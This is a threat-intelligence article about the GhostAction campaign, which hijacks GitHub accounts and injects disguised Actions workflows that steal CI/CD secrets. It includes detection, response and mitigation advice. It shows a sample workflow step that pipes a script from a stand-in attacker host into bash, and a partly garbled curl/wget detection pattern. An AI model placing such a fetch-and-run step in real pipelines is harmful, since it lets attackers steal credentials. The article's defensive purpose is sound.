GhostAction Supply Chain Attack Hits GitHub

GhostAction Campaign Compromises 1,900 GitHub Accounts, Targets 30k Repos

HIGH
October 15, 2026
5m read
Supply Chain AttackThreat ActorCloud Security

Related Entities

Threat Actors

GhostAction

Organizations

Products & Tech

GitHub Actions

Other

Full Report

Executive Summary

The supply chain attack campaign known as GhostAction has seen a significant resurgence, compromising an estimated 1,900 GitHub developer accounts. The attackers leverage this access to inject malicious code into over 30,000 software repositories, affecting 3,000 users and organizations. The campaign's primary objective is to steal sensitive secrets from CI/CD environments, including cloud provider credentials (e.g., AWS keys), package registry tokens (npm, PyPI), and API keys. This large-scale operation highlights the increasing targeting of developer infrastructure as a lucrative vector for initial access and data theft.


Threat Overview

GhostAction is a credential-theft campaign that has been active since at least September 2025. The threat actors focus on compromising the software supply chain by targeting developers and their GitHub accounts. The typical attack pattern involves using stolen credentials, such as Personal Access Tokens (PATs) obtained from information-stealer malware logs or previous data breaches, to gain unauthorized access to a developer's account.

Once in control, the attackers inject a malicious GitHub Actions workflow into one or more of the developer's repositories. These workflows are often disguised with benign-sounding names like security-audit.yml or github_actions_security.yml to evade detection. When the workflow is triggered (e.g., by a push event), it executes the malicious code within the context of the repository's CI/CD pipeline, giving it access to all the secrets and environment variables configured for that project.


Technical Analysis

The malicious GitHub Actions workflows are designed to exfiltrate secrets. The core of the payload typically involves a script that collects all available environment variables and secrets within the GitHub Actions runner and sends them to an attacker-controlled server.

Recent analysis by GitGuardian has revealed new TTPs in the latest wave of attacks (since August 2026):

  • History Scanning: A new feature has been added to the malicious workflow that scans the entire Git history of the compromised repository. The script uses regular expressions to search for patterns matching common secret formats, such as AWS keys (AKIA...), GitHub tokens, and other API keys that may have been accidentally committed in the past.
  • Payload Evolution: The attackers are observed to be experimenting and modifying their payloads over time, indicating an active and ongoing development process.

An example of a malicious workflow step might look like this:

- name: Run audit
  run: |
    curl -s http://attacker-domain.com/payload.sh | bash

This simple step downloads and executes a script from an external server, which then carries out the secret-stealing and history-scanning logic.


Impact Assessment

The compromise of CI/CD secrets poses a severe risk to organizations. Stolen credentials can lead to:

  • Cloud Infrastructure Compromise: Attackers can use stolen AWS, Azure, or GCP keys to access, modify, or destroy cloud resources, leading to significant financial loss and operational downtime.
  • Further Supply Chain Attacks: Stolen package registry tokens (npm, PyPI) can be used to publish malicious versions of software packages, propagating the attack to downstream users.
  • Data Breaches: Access to production databases or other sensitive services via stolen API keys can result in major data breaches.
  • Code Tampering: Attackers with write access to repositories can inject backdoors or other malicious code directly into the application source.

IOCs — Directly from Articles

No specific Indicators of Compromise (IOCs) such as exfiltration domains or payload hashes were mentioned in the source articles.


Cyber Observables — Hunting Hints

Security teams can hunt for GhostAction activity by monitoring for the following patterns in their GitHub organizations. The following patterns could indicate related activity:

Type
file_name
Value
security-audit.yml, github_actions_security.yml
Description
Suspiciously named workflow files added to the .github/workflows/ directory.
Type
command_line_pattern
Value
`curl ...
Description
bash, wget ...
Type
log_source
Value
GitHub Audit Logs
Description
Monitor for logins from unusual locations or IP addresses, followed by repository write activity.
Type
other
Value
Unexpected commits by a user
Description
A commit adding a new workflow file from a user account outside of their normal working hours or from an unfamiliar IP.

Detection & Response

Detection:

  1. Monitor Workflow Changes: Implement alerting for any new or modified files in the .github/workflows/ directory of all repositories. All changes to CI/CD pipelines should go through a mandatory peer review process. (D3-SFA: System File Analysis)
  2. Audit Log Analysis: Regularly review GitHub audit logs for suspicious activity, such as PAT creation/usage from anomalous IPs or bulk repository modifications. (D3-DAM: Domain Account Monitoring)
  3. Secrets Scanning: Proactively and continuously scan all repositories and their full Git history for secrets to find and remediate them before attackers do.

Response:

  1. Revoke Credentials: If a compromise is suspected, immediately revoke the compromised user's PATs, rotate their password, and terminate all active sessions.
  2. Remove Malicious Workflow: Delete the malicious workflow file from the repository.
  3. Rotate All Exposed Secrets: This is the most critical step. Any secret that was available to the compromised repository's Actions environment must be considered stolen and must be revoked and replaced immediately.

Mitigation

  1. Enforce MFA: Mandate the use of Multi-Factor Authentication (MFA) for all GitHub users in your organization to prevent account takeovers via stolen passwords. (M1032: Multi-factor Authentication)
  2. Use Short-Lived PATs: Avoid using classic Personal Access Tokens that do not expire. Instead, use fine-grained PATs with a short expiration date (e.g., 7-30 days) and scope them to the minimum required permissions. (M1026: Privileged Account Management)
  3. Restrict Workflow Permissions: Configure GitHub Actions to have read-only permissions by default and only grant write permissions when explicitly necessary. This can limit the blast radius of a compromised workflow.
  4. Use OIDC: Whenever possible, use OpenID Connect (OIDC) to authenticate with cloud providers like AWS, Azure, and GCP. This avoids the need to store long-lived cloud secrets in GitHub. (M1043: Credential Access Protection)

Timeline of Events

1
August 31, 2026
A new, more experimental wave of the GhostAction campaign begins.
2
October 8, 2026
A significant surge in GhostAction activity is observed, with attackers attempting to extract thousands of secrets.
3
October 15, 2026
This article was published

MITRE ATT&CK Mitigations

Enforcing MFA on all GitHub accounts is the most effective way to prevent takeovers via stolen credentials.

Mapped D3FEND Techniques:

Using short-lived, fine-grained PATs and implementing the principle of least privilege for developer accounts limits the potential damage of a compromise.

Mapped D3FEND Techniques:

Audit

M1047enterprise

Continuously auditing GitHub logs for suspicious activity can help detect compromises early.

Mapped D3FEND Techniques:

D3FEND Defensive Countermeasures

The GhostAction campaign relies on using stolen credentials like Personal Access Tokens (PATs) or passwords. Enforcing multi-factor authentication across the entire GitHub organization is the single most effective defense. This prevents attackers from logging in even if they possess a valid password. For actions performed via the API using PATs, organizations should move away from classic, non-expiring tokens. Instead, mandate the use of fine-grained personal access tokens with required approvals and short expiration dates (e.g., less than 30 days). This ensures that even if a token is stolen, its lifespan is limited, reducing the window of opportunity for attackers. Furthermore, security teams should configure alerts for PATs being created without MFA enabled on the parent account, treating it as a high-priority security risk.

Hardening the configuration of GitHub Actions is a critical step in mitigating attacks like GhostAction. First, organizations should implement policies that require all changes to workflow files (in the .github/workflows directory) to undergo a mandatory peer review by at least one other developer. This prevents a single compromised account from injecting a malicious workflow unilaterally. Second, leverage GitHub's built-in security features to restrict workflow permissions. By default, workflows should have read-only permissions for contents and secrets. Write permissions should only be granted on a per-job basis where absolutely necessary. Finally, for authenticating to cloud services, completely eliminate long-lived secrets from GitHub by using OpenID Connect (OIDC). OIDC allows workflows to obtain short-lived, dynamically generated credentials from cloud providers like AWS, Azure, and GCP, drastically reducing the value of a compromised Actions environment.

Timeline of Events

1
August 31, 2026

A new, more experimental wave of the GhostAction campaign begins.

2
October 8, 2026

A significant surge in GhostAction activity is observed, with attackers attempting to extract thousands of secrets.

Sources & References

Article Author

Jason Gomes

Jason Gomes

• Cybersecurity Practitioner

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.

Threat Intelligence & AnalysisSecurity Orchestration (SOAR/XSOAR)Incident Response & Digital ForensicsSecurity Operations Center (SOC)SIEM & Security AnalyticsCyber Fusion & Threat SharingSecurity Automation & IntegrationManaged Detection & Response (MDR)

Editorial Standards & Analyst Review

CyberNetSec.io uses automation to assist source monitoring, deduplication, observable extraction, and structured intelligence generation. Published analysis follows human-defined editorial standards and adds defensive context including MITRE ATT&CK, D3FEND, STIX, and Sigma where applicable. Read our editorial policy.

Tags

GhostActionGitHubGitHub ActionsSupply Chain AttackCI/CDCredential Theft

📢 Share This Article

Help others stay informed about cybersecurity threats

🎯 MITRE ATT&CK Mapped

Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.

🧠 Enriched & Analyzed

Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.

🛡️ Actionable Guidance

Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.

🔗 STIX Visualizer

Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.

⚡ Sigma Generator

Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.